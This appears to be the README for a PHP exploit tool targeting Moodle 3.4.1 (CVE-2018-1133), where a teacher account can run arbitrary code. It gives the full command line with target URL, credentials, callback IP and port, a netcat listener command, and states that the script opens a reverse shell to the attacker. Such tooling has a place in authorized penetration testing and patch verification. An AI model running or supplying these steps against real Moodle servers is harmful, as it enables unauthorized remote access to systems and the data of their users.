
Noodle [Moodle RCE] (v3.4.1) - CVE-2018-1133
A user with the teacher role is able to execute arbitrary code.
php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
user The account username
pass The password to the account
ip Callback IP
port Callback Port
course Valid course ID belonging to the teacher
Make sure you're running a netcat listener on the specified port before executing this script.
nc -lnvp 1010
This will attempt to open up a reverse shell to the listening IP and port.
This exploit is based on information provided by Robin Peraglie.
Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution